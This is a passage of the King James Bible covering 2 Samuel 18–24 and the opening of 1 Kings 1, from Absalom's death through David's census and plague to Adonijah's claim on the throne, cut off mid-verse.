+18:5 And the king commanded Joab and Abishai and Ittai, saying, Deal +gently for my sake with the young man, even with Absalom. And all the +people heard when the king gave all the captains charge concerning +Absalom. + +18:6 So the people went out into the field against Israel: and the +battle was in the wood of Ephraim; 18:7 Where the people of Israel +were slain before the servants of David, and there was there a great +slaughter that day of twenty thousand men. + +18:8 For the battle was there scattered over the face of all the +country: and the wood devoured more people that day than the sword +devoured. + +18:9 And Absalom met the servants of David. And Absalom rode upon a +mule, and the mule went under the thick boughs of a great oak, and his +head caught hold of the oak, and he was taken up between the heaven +and the earth; and the mule that was under him went away. + +18:10 And a certain man saw it, and told Joab, and said, Behold, I saw +Absalom hanged in an oak. + +18:11 And Joab said unto the man that told him, And, behold, thou +sawest him, and why didst thou not smite him there to the ground? and +I would have given thee ten shekels of silver, and a girdle. + +18:12 And the man said unto Joab, Though I should receive a thousand +shekels of silver in mine hand, yet would I not put forth mine hand +against the king's son: for in our hearing the king charged thee and +Abishai and Ittai, saying, Beware that none touch the young man +Absalom. + +18:13 Otherwise I should have wrought falsehood against mine own life: +for there is no matter hid from the king, and thou thyself wouldest +have set thyself against me. + +18:14 Then said Joab, I may not tarry thus with thee. And he took +three darts in his hand, and thrust them through the heart of Absalom, +while he was yet alive in the midst of the oak. + +18:15 And ten young men that bare Joab's armour compassed about and +smote Absalom, and slew him. + +18:16 And Joab blew the trumpet, and the people returned from pursuing +after Israel: for Joab held back the people. + +18:17 And they took Absalom, and cast him into a great pit in the +wood, and laid a very great heap of stones upon him: and all Israel +fled every one to his tent. + +18:18 Now Absalom in his lifetime had taken and reared up for himself +a pillar, which is in the king's dale: for he said, I have no son to +keep my name in remembrance: and he called the pillar after his own +name: and it is called unto this day, Absalom's place. + +18:19 Then said Ahimaaz the son of Zadok, Let me now run, and bear the +king tidings, how that the LORD hath avenged him of his enemies. + +18:20 And Joab said unto him, Thou shalt not bear tidings this day, +but thou shalt bear tidings another day: but this day thou shalt bear +no tidings, because the king's son is dead. + +18:21 Then said Joab to Cushi, Go tell the king what thou hast seen. +And Cushi bowed himself unto Joab, and ran. + +18:22 Then said Ahimaaz the son of Zadok yet again to Joab, But +howsoever, let me, I pray thee, also run after Cushi. And Joab said, +Wherefore wilt thou run, my son, seeing that thou hast no tidings +ready? 18:23 But howsoever, said he, let me run. And he said unto +him, Run. Then Ahimaaz ran by the way of the plain, and overran Cushi. + +18:24 And David sat between the two gates: and the watchman went up to +the roof over the gate unto the wall, and lifted up his eyes, and +looked, and behold a man running alone. + +18:25 And the watchman cried, and told the king. And the king said, If +he be alone, there is tidings in his mouth. And he came apace, and +drew near. + +18:26 And the watchman saw another man running: and the watchman +called unto the porter, and said, Behold another man running alone. +And the king said, He also bringeth tidings. + +18:27 And the watchman said, Me thinketh the running of the foremost +is like the running of Ahimaaz the son of Zadok. And the king said, He +is a good man, and cometh with good tidings. + +18:28 And Ahimaaz called, and said unto the king, All is well. And he +fell down to the earth upon his face before the king, and said, +Blessed be the LORD thy God, which hath delivered up the men that +lifted up their hand against my lord the king. + +18:29 And the king said, Is the young man Absalom safe? And Ahimaaz +answered, When Joab sent the king's servant, and me thy servant, I saw +a great tumult, but I knew not what it was. + +18:30 And the king said unto him, Turn aside, and stand here. And he +turned aside, and stood still. + +18:31 And, behold, Cushi came; and Cushi said, Tidings, my lord the +king: for the LORD hath avenged thee this day of all them that rose up +against thee. + +18:32 And the king said unto Cushi, Is the young man Absalom safe? And +Cushi answered, The enemies of my lord the king, and all that rise +against thee to do thee hurt, be as that young man is. + +18:33 And the king was much moved, and went up to the chamber over the +gate, and wept: and as he went, thus he said, O my son Absalom, my +son, my son Absalom! would God I had died for thee, O Absalom, my son, +my son! 19:1 And it was told Joab, Behold, the king weepeth and +mourneth for Absalom. + +19:2 And the victory that day was turned into mourning unto all the +people: for the people heard say that day how the king was grieved for +his son. + +19:3 And the people gat them by stealth that day into the city, as +people being ashamed steal away when they flee in battle. + +19:4 But the king covered his face, and the king cried with a loud +voice, O my son Absalom, O Absalom, my son, my son! 19:5 And Joab +came into the house to the king, and said, Thou hast shamed this day +the faces of all thy servants, which this day have saved thy life, and +the lives of thy sons and of thy daughters, and the lives of thy +wives, and the lives of thy concubines; 19:6 In that thou lovest thine +enemies, and hatest thy friends. For thou hast declared this day, that +thou regardest neither princes nor servants: for this day I perceive, +that if Absalom had lived, and all we had died this day, then it had +pleased thee well. + +19:7 Now therefore arise, go forth, and speak comfortably unto thy +servants: for I swear by the LORD, if thou go not forth, there will +not tarry one with thee this night: and that will be worse unto thee +than all the evil that befell thee from thy youth until now. + +19:8 Then the king arose, and sat in the gate. And they told unto all +the people, saying, Behold, the king doth sit in the gate. And all the +people came before the king: for Israel had fled every man to his +tent. + +19:9 And all the people were at strife throughout all the tribes of +Israel, saying, The king saved us out of the hand of our enemies, and +he delivered us out of the hand of the Philistines; and now he is fled +out of the land for Absalom. + +19:10 And Absalom, whom we anointed over us, is dead in battle. Now +therefore why speak ye not a word of bringing the king back? 19:11 +And king David sent to Zadok and to Abiathar the priests, saying, +Speak unto the elders of Judah, saying, Why are ye the last to bring +the king back to his house? seeing the speech of all Israel is come to +the king, even to his house. + +19:12 Ye are my brethren, ye are my bones and my flesh: wherefore then +are ye the last to bring back the king? 19:13 And say ye to Amasa, +Art thou not of my bone, and of my flesh? God do so to me, and more +also, if thou be not captain of the host before me continually in the +room of Joab. + +19:14 And he bowed the heart of all the men of Judah, even as the +heart of one man; so that they sent this word unto the king, Return +thou, and all thy servants. + +19:15 So the king returned, and came to Jordan. And Judah came to +Gilgal, to go to meet the king, to conduct the king over Jordan. + +19:16 And Shimei the son of Gera, a Benjamite, which was of Bahurim, +hasted and came down with the men of Judah to meet king David. + +19:17 And there were a thousand men of Benjamin with him, and Ziba the +servant of the house of Saul, and his fifteen sons and his twenty +servants with him; and they went over Jordan before the king. + +19:18 And there went over a ferry boat to carry over the king's +household, and to do what he thought good. And Shimei the son of Gera +fell down before the king, as he was come over Jordan; 19:19 And said +unto the king, Let not my lord impute iniquity unto me, neither do +thou remember that which thy servant did perversely the day that my +lord the king went out of Jerusalem, that the king should take it to +his heart. + +19:20 For thy servant doth know that I have sinned: therefore, behold, +I am come the first this day of all the house of Joseph to go down to +meet my lord the king. + +19:21 But Abishai the son of Zeruiah answered and said, Shall not +Shimei be put to death for this, because he cursed the LORD's +anointed? 19:22 And David said, What have I to do with you, ye sons +of Zeruiah, that ye should this day be adversaries unto me? shall +there any man be put to death this day in Israel? for do not I know +that I am this day king over Israel? 19:23 Therefore the king said +unto Shimei, Thou shalt not die. And the king sware unto him. + +19:24 And Mephibosheth the son of Saul came down to meet the king, and +had neither dressed his feet, nor trimmed his beard, nor washed his +clothes, from the day the king departed until the day he came again in +peace. + +19:25 And it came to pass, when he was come to Jerusalem to meet the +king, that the king said unto him, Wherefore wentest not thou with me, +Mephibosheth? 19:26 And he answered, My lord, O king, my servant +deceived me: for thy servant said, I will saddle me an ass, that I may +ride thereon, and go to the king; because thy servant is lame. + +19:27 And he hath slandered thy servant unto my lord the king; but my +lord the king is as an angel of God: do therefore what is good in +thine eyes. + +19:28 For all of my father's house were but dead men before my lord +the king: yet didst thou set thy servant among them that did eat at +thine own table. What right therefore have I yet to cry any more unto +the king? 19:29 And the king said unto him, Why speakest thou any +more of thy matters? I have said, Thou and Ziba divide the land. + +19:30 And Mephibosheth said unto the king, Yea, let him take all, +forasmuch as my lord the king is come again in peace unto his own +house. + +19:31 And Barzillai the Gileadite came down from Rogelim, and went +over Jordan with the king, to conduct him over Jordan. + +19:32 Now Barzillai was a very aged man, even fourscore years old: and +he had provided the king of sustenance while he lay at Mahanaim; for +he was a very great man. + +19:33 And the king said unto Barzillai, Come thou over with me, and I +will feed thee with me in Jerusalem. + +19:34 And Barzillai said unto the king, How long have I to live, that +I should go up with the king unto Jerusalem? 19:35 I am this day +fourscore years old: and can I discern between good and evil? can thy +servant taste what I eat or what I drink? can I hear any more the +voice of singing men and singing women? wherefore then should thy +servant be yet a burden unto my lord the king? 19:36 Thy servant will +go a little way over Jordan with the king: and why should the king +recompense it me with such a reward? 19:37 Let thy servant, I pray +thee, turn back again, that I may die in mine own city, and be buried +by the grave of my father and of my mother. But behold thy servant +Chimham; let him go over with my lord the king; and do to him what +shall seem good unto thee. + +19:38 And the king answered, Chimham shall go over with me, and I will +do to him that which shall seem good unto thee: and whatsoever thou +shalt require of me, that will I do for thee. + +19:39 And all the people went over Jordan. And when the king was come +over, the king kissed Barzillai, and blessed him; and he returned unto +his own place. + +19:40 Then the king went on to Gilgal, and Chimham went on with him: +and all the people of Judah conducted the king, and also half the +people of Israel. + +19:41 And, behold, all the men of Israel came to the king, and said +unto the king, Why have our brethren the men of Judah stolen thee +away, and have brought the king, and his household, and all David's +men with him, over Jordan? 19:42 And all the men of Judah answered +the men of Israel, Because the king is near of kin to us: wherefore +then be ye angry for this matter? have we eaten at all of the king's +cost? or hath he given us any gift? 19:43 And the men of Israel +answered the men of Judah, and said, We have ten parts in the king, +and we have also more right in David than ye: why then did ye despise +us, that our advice should not be first had in bringing back our king? +And the words of the men of Judah were fiercer than the words of the +men of Israel. + +20:1 And there happened to be there a man of Belial, whose name was +Sheba, the son of Bichri, a Benjamite: and he blew a trumpet, and +said, We have no part in David, neither have we inheritance in the son +of Jesse: every man to his tents, O Israel. + +20:2 So every man of Israel went up from after David, and followed +Sheba the son of Bichri: but the men of Judah clave unto their king, +from Jordan even to Jerusalem. + +20:3 And David came to his house at Jerusalem; and the king took the +ten women his concubines, whom he had left to keep the house, and put +them in ward, and fed them, but went not in unto them. So they were +shut up unto the day of their death, living in widowhood. + +20:4 Then said the king to Amasa, Assemble me the men of Judah within +three days, and be thou here present. + +20:5 So Amasa went to assemble the men of Judah: but he tarried longer +than the set time which he had appointed him. + +20:6 And David said to Abishai, Now shall Sheba the son of Bichri do +us more harm than did Absalom: take thou thy lord's servants, and +pursue after him, lest he get him fenced cities, and escape us. + +20:7 And there went out after him Joab's men, and the Cherethites, and +the Pelethites, and all the mighty men: and they went out of +Jerusalem, to pursue after Sheba the son of Bichri. + +20:8 When they were at the great stone which is in Gibeon, Amasa went +before them. And Joab's garment that he had put on was girded unto +him, and upon it a girdle with a sword fastened upon his loins in the +sheath thereof; and as he went forth it fell out. + +20:9 And Joab said to Amasa, Art thou in health, my brother? And Joab +took Amasa by the beard with the right hand to kiss him. + +20:10 But Amasa took no heed to the sword that was in Joab's hand: so +he smote him therewith in the fifth rib, and shed out his bowels to +the ground, and struck him not again; and he died. So Joab and Abishai +his brother pursued after Sheba the son of Bichri. + +20:11 And one of Joab's men stood by him, and said, He that favoureth +Joab, and he that is for David, let him go after Joab. + +20:12 And Amasa wallowed in blood in the midst of the highway. And +when the man saw that all the people stood still, he removed Amasa out +of the highway into the field, and cast a cloth upon him, when he saw +that every one that came by him stood still. + +20:13 When he was removed out of the highway, all the people went on +after Joab, to pursue after Sheba the son of Bichri. + +20:14 And he went through all the tribes of Israel unto Abel, and to +Bethmaachah, and all the Berites: and they were gathered together, and +went also after him. + +20:15 And they came and besieged him in Abel of Bethmaachah, and they +cast up a bank against the city, and it stood in the trench: and all +the people that were with Joab battered the wall, to throw it down. + +20:16 Then cried a wise woman out of the city, Hear, hear; say, I pray +you, unto Joab, Come near hither, that I may speak with thee. + +20:17 And when he was come near unto her, the woman said, Art thou +Joab? And he answered, I am he. Then she said unto him, Hear the +words of thine handmaid. And he answered, I do hear. + +20:18 Then she spake, saying, They were wont to speak in old time, +saying, They shall surely ask counsel at Abel: and so they ended the +matter. + +20:19 I am one of them that are peaceable and faithful in Israel: thou +seekest to destroy a city and a mother in Israel: why wilt thou +swallow up the inheritance of the LORD? 20:20 And Joab answered and +said, Far be it, far be it from me, that I should swallow up or +destroy. + +20:21 The matter is not so: but a man of mount Ephraim, Sheba the son +of Bichri by name, hath lifted up his hand against the king, even +against David: deliver him only, and I will depart from the city. And +the woman said unto Joab, Behold, his head shall be thrown to thee +over the wall. + +20:22 Then the woman went unto all the people in her wisdom. And they +cut off the head of Sheba the son of Bichri, and cast it out to Joab. +And he blew a trumpet, and they retired from the city, every man to +his tent. And Joab returned to Jerusalem unto the king. + +20:23 Now Joab was over all the host of Israel: and Benaiah the son of +Jehoiada was over the Cherethites and over the Pelethites: 20:24 And +Adoram was over the tribute: and Jehoshaphat the son of Ahilud was +recorder: 20:25 And Sheva was scribe: and Zadok and Abiathar were the +priests: 20:26 And Ira also the Jairite was a chief ruler about David. + +21:1 Then there was a famine in the days of David three years, year +after year; and David enquired of the LORD. And the LORD answered, It +is for Saul, and for his bloody house, because he slew the Gibeonites. + +21:2 And the king called the Gibeonites, and said unto them; (now the +Gibeonites were not of the children of Israel, but of the remnant of +the Amorites; and the children of Israel had sworn unto them: and Saul +sought to slay them in his zeal to the children of Israel and Judah.) +21:3 Wherefore David said unto the Gibeonites, What shall I do for +you? and wherewith shall I make the atonement, that ye may bless the +inheritance of the LORD? 21:4 And the Gibeonites said unto him, We +will have no silver nor gold of Saul, nor of his house; neither for us +shalt thou kill any man in Israel. And he said, What ye shall say, +that will I do for you. + +21:5 And they answered the king, The man that consumed us, and that +devised against us that we should be destroyed from remaining in any +of the coasts of Israel, 21:6 Let seven men of his sons be delivered +unto us, and we will hang them up unto the LORD in Gibeah of Saul, +whom the LORD did choose. And the king said, I will give them. + +21:7 But the king spared Mephibosheth, the son of Jonathan the son of +Saul, because of the LORD's oath that was between them, between David +and Jonathan the son of Saul. + +21:8 But the king took the two sons of Rizpah the daughter of Aiah, +whom she bare unto Saul, Armoni and Mephibosheth; and the five sons of +Michal the daughter of Saul, whom she brought up for Adriel the son of +Barzillai the Meholathite: 21:9 And he delivered them into the hands +of the Gibeonites, and they hanged them in the hill before the LORD: +and they fell all seven together, and were put to death in the days of +harvest, in the first days, in the beginning of barley harvest. + +21:10 And Rizpah the daughter of Aiah took sackcloth, and spread it +for her upon the rock, from the beginning of harvest until water +dropped upon them out of heaven, and suffered neither the birds of the +air to rest on them by day, nor the beasts of the field by night. + +21:11 And it was told David what Rizpah the daughter of Aiah, the +concubine of Saul, had done. + +21:12 And David went and took the bones of Saul and the bones of +Jonathan his son from the men of Jabeshgilead, which had stolen them +from the street of Bethshan, where the Philistines had hanged them, +when the Philistines had slain Saul in Gilboa: 21:13 And he brought up +from thence the bones of Saul and the bones of Jonathan his son; and +they gathered the bones of them that were hanged. + +21:14 And the bones of Saul and Jonathan his son buried they in the +country of Benjamin in Zelah, in the sepulchre of Kish his father: and +they performed all that the king commanded. And after that God was +intreated for the land. + +21:15 Moreover the Philistines had yet war again with Israel; and +David went down, and his servants with him, and fought against the +Philistines: and David waxed faint. + +21:16 And Ishbibenob, which was of the sons of the giant, the weight +of whose spear weighed three hundred shekels of brass in weight, he +being girded with a new sword, thought to have slain David. + +21:17 But Abishai the son of Zeruiah succoured him, and smote the +Philistine, and killed him. Then the men of David sware unto him, +saying, Thou shalt go no more out with us to battle, that thou quench +not the light of Israel. + +21:18 And it came to pass after this, that there was again a battle +with the Philistines at Gob: then Sibbechai the Hushathite slew Saph, +which was of the sons of the giant. + +21:19 And there was again a battle in Gob with the Philistines, where +Elhanan the son of Jaareoregim, a Bethlehemite, slew the brother of +Goliath the Gittite, the staff of whose spear was like a weaver's +beam. + +21:20 And there was yet a battle in Gath, where was a man of great +stature, that had on every hand six fingers, and on every foot six +toes, four and twenty in number; and he also was born to the giant. + +21:21 And when he defied Israel, Jonathan the son of Shimeah the +brother of David slew him. + +21:22 These four were born to the giant in Gath, and fell by the hand +of David, and by the hand of his servants. + +22:1 And David spake unto the LORD the words of this song in the day +that the LORD had delivered him out of the hand of all his enemies, +and out of the hand of Saul: 22:2 And he said, The LORD is my rock, +and my fortress, and my deliverer; 22:3 The God of my rock; in him +will I trust: he is my shield, and the horn of my salvation, my high +tower, and my refuge, my saviour; thou savest me from violence. + +22:4 I will call on the LORD, who is worthy to be praised: so shall I +be saved from mine enemies. + +22:5 When the waves of death compassed me, the floods of ungodly men +made me afraid; 22:6 The sorrows of hell compassed me about; the +snares of death prevented me; 22:7 In my distress I called upon the +LORD, and cried to my God: and he did hear my voice out of his temple, +and my cry did enter into his ears. + +22:8 Then the earth shook and trembled; the foundations of heaven +moved and shook, because he was wroth. + +22:9 There went up a smoke out of his nostrils, and fire out of his +mouth devoured: coals were kindled by it. + +22:10 He bowed the heavens also, and came down; and darkness was under +his feet. + +22:11 And he rode upon a cherub, and did fly: and he was seen upon the +wings of the wind. + +22:12 And he made darkness pavilions round about him, dark waters, and +thick clouds of the skies. + +22:13 Through the brightness before him were coals of fire kindled. + +22:14 The LORD thundered from heaven, and the most High uttered his +voice. + +22:15 And he sent out arrows, and scattered them; lightning, and +discomfited them. + +22:16 And the channels of the sea appeared, the foundations of the +world were discovered, at the rebuking of the LORD, at the blast of +the breath of his nostrils. + +22:17 He sent from above, he took me; he drew me out of many waters; +22:18 He delivered me from my strong enemy, and from them that hated +me: for they were too strong for me. + +22:19 They prevented me in the day of my calamity: but the LORD was my +stay. + +22:20 He brought me forth also into a large place: he delivered me, +because he delighted in me. + +22:21 The LORD rewarded me according to my righteousness: according to +the cleanness of my hands hath he recompensed me. + +22:22 For I have kept the ways of the LORD, and have not wickedly +departed from my God. + +22:23 For all his judgments were before me: and as for his statutes, I +did not depart from them. + +22:24 I was also upright before him, and have kept myself from mine +iniquity. + +22:25 Therefore the LORD hath recompensed me according to my +righteousness; according to my cleanness in his eye sight. + +22:26 With the merciful thou wilt shew thyself merciful, and with the +upright man thou wilt shew thyself upright. + +22:27 With the pure thou wilt shew thyself pure; and with the froward +thou wilt shew thyself unsavoury. + +22:28 And the afflicted people thou wilt save: but thine eyes are upon +the haughty, that thou mayest bring them down. + +22:29 For thou art my lamp, O LORD: and the LORD will lighten my +darkness. + +22:30 For by thee I have run through a troop: by my God have I leaped +over a wall. + +22:31 As for God, his way is perfect; the word of the LORD is tried: +he is a buckler to all them that trust in him. + +22:32 For who is God, save the LORD? and who is a rock, save our God? +22:33 God is my strength and power: and he maketh my way perfect. + +22:34 He maketh my feet like hinds' feet: and setteth me upon my high +places. + +22:35 He teacheth my hands to war; so that a bow of steel is broken by +mine arms. + +22:36 Thou hast also given me the shield of thy salvation: and thy +gentleness hath made me great. + +22:37 Thou hast enlarged my steps under me; so that my feet did not +slip. + +22:38 I have pursued mine enemies, and destroyed them; and turned not +again until I had consumed them. + +22:39 And I have consumed them, and wounded them, that they could not +arise: yea, they are fallen under my feet. + +22:40 For thou hast girded me with strength to battle: them that rose +up against me hast thou subdued under me. + +22:41 Thou hast also given me the necks of mine enemies, that I might +destroy them that hate me. + +22:42 They looked, but there was none to save; even unto the LORD, but +he answered them not. + +22:43 Then did I beat them as small as the dust of the earth, I did +stamp them as the mire of the street, and did spread them abroad. + +22:44 Thou also hast delivered me from the strivings of my people, +thou hast kept me to be head of the heathen: a people which I knew not +shall serve me. + +22:45 Strangers shall submit themselves unto me: as soon as they hear, +they shall be obedient unto me. + +22:46 Strangers shall fade away, and they shall be afraid out of their +close places. + +22:47 The LORD liveth; and blessed be my rock; and exalted be the God +of the rock of my salvation. + +22:48 It is God that avengeth me, and that bringeth down the people +under me. + +22:49 And that bringeth me forth from mine enemies: thou also hast +lifted me up on high above them that rose up against me: thou hast +delivered me from the violent man. + +22:50 Therefore I will give thanks unto thee, O LORD, among the +heathen, and I will sing praises unto thy name. + +22:51 He is the tower of salvation for his king: and sheweth mercy to +his anointed, unto David, and to his seed for evermore. + +23:1 Now these be the last words of David. David the son of Jesse +said, and the man who was raised up on high, the anointed of the God +of Jacob, and the sweet psalmist of Israel, said, 23:2 The Spirit of +the LORD spake by me, and his word was in my tongue. + +23:3 The God of Israel said, the Rock of Israel spake to me, He that +ruleth over men must be just, ruling in the fear of God. + +23:4 And he shall be as the light of the morning, when the sun riseth, +even a morning without clouds; as the tender grass springing out of +the earth by clear shining after rain. + +23:5 Although my house be not so with God; yet he hath made with me an +everlasting covenant, ordered in all things, and sure: for this is all +my salvation, and all my desire, although he make it not to grow. + +23:6 But the sons of Belial shall be all of them as thorns thrust +away, because they cannot be taken with hands: 23:7 But the man that +shall touch them must be fenced with iron and the staff of a spear; +and they shall be utterly burned with fire in the same place. + +23:8 These be the names of the mighty men whom David had: The +Tachmonite that sat in the seat, chief among the captains; the same +was Adino the Eznite: he lift up his spear against eight hundred, whom +he slew at one time. + +23:9 And after him was Eleazar the son of Dodo the Ahohite, one of the +three mighty men with David, when they defied the Philistines that +were there gathered together to battle, and the men of Israel were +gone away: 23:10 He arose, and smote the Philistines until his hand +was weary, and his hand clave unto the sword: and the LORD wrought a +great victory that day; and the people returned after him only to +spoil. + +23:11 And after him was Shammah the son of Agee the Hararite. And the +Philistines were gathered together into a troop, where was a piece of +ground full of lentiles: and the people fled from the Philistines. + +23:12 But he stood in the midst of the ground, and defended it, and +slew the Philistines: and the LORD wrought a great victory. + +23:13 And three of the thirty chief went down, and came to David in +the harvest time unto the cave of Adullam: and the troop of the +Philistines pitched in the valley of Rephaim. + +23:14 And David was then in an hold, and the garrison of the +Philistines was then in Bethlehem. + +23:15 And David longed, and said, Oh that one would give me drink of +the water of the well of Bethlehem, which is by the gate! 23:16 And +the three mighty men brake through the host of the Philistines, and +drew water out of the well of Bethlehem, that was by the gate, and +took it, and brought it to David: nevertheless he would not drink +thereof, but poured it out unto the LORD. + +23:17 And he said, Be it far from me, O LORD, that I should do this: +is not this the blood of the men that went in jeopardy of their lives? +therefore he would not drink it. These things did these three mighty +men. + +23:18 And Abishai, the brother of Joab, the son of Zeruiah, was chief +among three. And he lifted up his spear against three hundred, and +slew them, and had the name among three. + +23:19 Was he not most honourable of three? therefore he was their +captain: howbeit he attained not unto the first three. + +23:20 And Benaiah the son of Jehoiada, the son of a valiant man, of +Kabzeel, who had done many acts, he slew two lionlike men of Moab: he +went down also and slew a lion in the midst of a pit in time of snow: +23:21 And he slew an Egyptian, a goodly man: and the Egyptian had a +spear in his hand; but he went down to him with a staff, and plucked +the spear out of the Egyptian's hand, and slew him with his own spear. + +23:22 These things did Benaiah the son of Jehoiada, and had the name +among three mighty men. + +23:23 He was more honourable than the thirty, but he attained not to +the first three. And David set him over his guard. + +23:24 Asahel the brother of Joab was one of the thirty; Elhanan the +son of Dodo of Bethlehem, 23:25 Shammah the Harodite, Elika the +Harodite, 23:26 Helez the Paltite, Ira the son of Ikkesh the Tekoite, +23:27 Abiezer the Anethothite, Mebunnai the Hushathite, 23:28 Zalmon +the Ahohite, Maharai the Netophathite, 23:29 Heleb the son of Baanah, +a Netophathite, Ittai the son of Ribai out of Gibeah of the children +of Benjamin, 23:30 Benaiah the Pirathonite, Hiddai of the brooks of +Gaash, 23:31 Abialbon the Arbathite, Azmaveth the Barhumite, 23:32 +Eliahba the Shaalbonite, of the sons of Jashen, Jonathan, 23:33 +Shammah the Hararite, Ahiam the son of Sharar the Hararite, 23:34 +Eliphelet the son of Ahasbai, the son of the Maachathite, Eliam the +son of Ahithophel the Gilonite, 23:35 Hezrai the Carmelite, Paarai the +Arbite, 23:36 Igal the son of Nathan of Zobah, Bani the Gadite, 23:37 +Zelek the Ammonite, Nahari the Beerothite, armourbearer to Joab the +son of Zeruiah, 23:38 Ira an Ithrite, Gareb an Ithrite, 23:39 Uriah +the Hittite: thirty and seven in all. + +24:1 And again the anger of the LORD was kindled against Israel, and +he moved David against them to say, Go, number Israel and Judah. + +24:2 For the king said to Joab the captain of the host, which was with +him, Go now through all the tribes of Israel, from Dan even to +Beersheba, and number ye the people, that I may know the number of the +people. + +24:3 And Joab said unto the king, Now the LORD thy God add unto the +people, how many soever they be, an hundredfold, and that the eyes of +my lord the king may see it: but why doth my lord the king delight in +this thing? 24:4 Notwithstanding the king's word prevailed against +Joab, and against the captains of the host. And Joab and the captains +of the host went out from the presence of the king, to number the +people of Israel. + +24:5 And they passed over Jordan, and pitched in Aroer, on the right +side of the city that lieth in the midst of the river of Gad, and +toward Jazer: 24:6 Then they came to Gilead, and to the land of +Tahtimhodshi; and they came to Danjaan, and about to Zidon, 24:7 And +came to the strong hold of Tyre, and to all the cities of the Hivites, +and of the Canaanites: and they went out to the south of Judah, even +to Beersheba. + +24:8 So when they had gone through all the land, they came to +Jerusalem at the end of nine months and twenty days. + +24:9 And Joab gave up the sum of the number of the people unto the +king: and there were in Israel eight hundred thousand valiant men that +drew the sword; and the men of Judah were five hundred thousand men. + +24:10 And David's heart smote him after that he had numbered the +people. + +And David said unto the LORD, I have sinned greatly in that I have +done: and now, I beseech thee, O LORD, take away the iniquity of thy +servant; for I have done very foolishly. + +24:11 For when David was up in the morning, the word of the LORD came +unto the prophet Gad, David's seer, saying, 24:12 Go and say unto +David, Thus saith the LORD, I offer thee three things; choose thee one +of them, that I may do it unto thee. + +24:13 So Gad came to David, and told him, and said unto him, Shall +seven years of famine come unto thee in thy land? or wilt thou flee +three months before thine enemies, while they pursue thee? or that +there be three days' pestilence in thy land? now advise, and see what +answer I shall return to him that sent me. + +24:14 And David said unto Gad, I am in a great strait: let us fall now +into the hand of the LORD; for his mercies are great: and let me not +fall into the hand of man. + +24:15 So the LORD sent a pestilence upon Israel from the morning even +to the time appointed: and there died of the people from Dan even to +Beersheba seventy thousand men. + +24:16 And when the angel stretched out his hand upon Jerusalem to +destroy it, the LORD repented him of the evil, and said to the angel +that destroyed the people, It is enough: stay now thine hand. And the +angel of the LORD was by the threshingplace of Araunah the Jebusite. + +24:17 And David spake unto the LORD when he saw the angel that smote +the people, and said, Lo, I have sinned, and I have done wickedly: but +these sheep, what have they done? let thine hand, I pray thee, be +against me, and against my father's house. + +24:18 And Gad came that day to David, and said unto him, Go up, rear +an altar unto the LORD in the threshingfloor of Araunah the Jebusite. + +24:19 And David, according to the saying of Gad, went up as the LORD +commanded. + +24:20 And Araunah looked, and saw the king and his servants coming on +toward him: and Araunah went out, and bowed himself before the king on +his face upon the ground. + +24:21 And Araunah said, Wherefore is my lord the king come to his +servant? And David said, To buy the threshingfloor of thee, to build +an altar unto the LORD, that the plague may be stayed from the people. + +24:22 And Araunah said unto David, Let my lord the king take and offer +up what seemeth good unto him: behold, here be oxen for burnt +sacrifice, and threshing instruments and other instruments of the oxen +for wood. + +24:23 All these things did Araunah, as a king, give unto the king. And +Araunah said unto the king, The LORD thy God accept thee. + +24:24 And the king said unto Araunah, Nay; but I will surely buy it of +thee at a price: neither will I offer burnt offerings unto the LORD my +God of that which doth cost me nothing. So David bought the +threshingfloor and the oxen for fifty shekels of silver. + +24:25 And David built there an altar unto the LORD, and offered burnt +offerings and peace offerings. So the LORD was intreated for the land, +and the plague was stayed from Israel. + + + + +The First Book of the Kings + +Commonly Called: + +The Third Book of the Kings + + +1:1 Now king David was old and stricken in years; and they covered +him with clothes, but he gat no heat. + +1:2 Wherefore his servants said unto him, Let there be sought for my +lord the king a young virgin: and let her stand before the king, and +let her cherish him, and let her lie in thy bosom, that my lord the +king may get heat. + +1:3 So they sought for a fair damsel throughout all the coasts of +Israel, and found Abishag a Shunammite, and brought her to the king. + +1:4 And the damsel was very fair, and cherished the king, and +ministered to him: but the king knew her not. + +1:5 Then Adonijah the son of Haggith exalted himself, saying, I will +be king: and he prepared him chariots and horsemen, and fifty men to +run before him. + +1:6 And his father had not displeased him at any time in saying, Why +hast thou done so? and he also was a very goodly man; and his mother +bare him after Absalom. + +1:7 And he conferred with Joab the son of Zeruiah, and with Abiathar +the priest: and they following Adonijah helped him. + +1:8 But Zadok the priest, and Benaiah the son of Jehoiada, and Nathan +the prophet, and Shimei, and Rei, and the mighty men which belonged to +David, were not with Adonijah. + +1:9 And Adonijah slew sheep and oxen and fat cattle by the stone of +Zoheleth, which is by Enrogel, and called all his brethren the king's +sons, and all the men of Judah the king's servants: 1:10 But Nathan +the prophet, and Benaiah, and the mighty men, and Solomon his brother, +he called not. + +1:11 Wherefore Nathan spake unto Bathsheba the mother of Solomon, +saying, Hast thou not heard that Adonijah the son of Haggith doth +reign, and David our lord knoweth it not? 1:12 Now therefore come, +let me, I pray thee, give thee counsel, that thou mayest save thine +own life, and the life of thy son Solomon. + +1:13 Go and get thee in unto king David, and say unto him, Didst not +thou, my lord, O king, swear unto thine handmaid, saying, Assuredly +Solomon thy son shall reign after me, and he shall sit upon my throne? +why then doth Adonijah reign? 1:14 Behold, while thou yet talkest +there with the king, I also will come in after thee, and confirm thy +words. + +1:15 And Bathsheba went in unto the king into the chamber: and the +king was very old; and Abishag the Shunammite ministered unto the +king. + +1:16 And Bathsheba bowed, and did obeisance unto the king. And the +king said, What wouldest thou? 1:17 And she said unto him, My lord, +thou swarest by the LORD thy God unto thine handmaid, saying, +Assuredly Solomon thy son shall reign after me, and he shall sit upon +my throne. + +1:18 And now, behold, Adonijah reigneth; and now, my lord the king, +thou knowest it not: 1:19 And he hath slain oxen and fat cattle and +sheep in abundance, and hath called all the sons of the king, and +Abiathar the priest, and Joab the captain of the host: but Solomon thy +servant hath he not called. + +1:20 And thou, my lord, O king, the eyes of all Israel are upon thee, +that thou shouldest tell them who shall sit on the throne of my lord +the king after him. + +1:21 Otherwise it shall come to pass, when my lord the king shall +sleep with his fathers, that I and my son Solomon shall be counted +offenders. + +1:22 And, lo, while she yet talked with the king, Nathan the prophet +also came in. + +1:23 And they told the king, saying, Behold Nathan the prophet. And +when he was come in before the king, he bowed himself before the king +with his face to the ground. + +1:24 And Nathan said, My lord, O king, hast thou said, Adonijah shall +reign after me, and he shall sit upon my throne? 1:25 For he is gone +down this day, and hath slain oxen and fat cattle and sheep in +abundance, and hath called all the king's sons, and the captains of +the host, and Abiathar the priest; and, behold, they eat and drink +before him, and say, God save king Adonijah. + +1:26 But me, even me thy servant, and Zadok the priest, and Benaiah +the son of 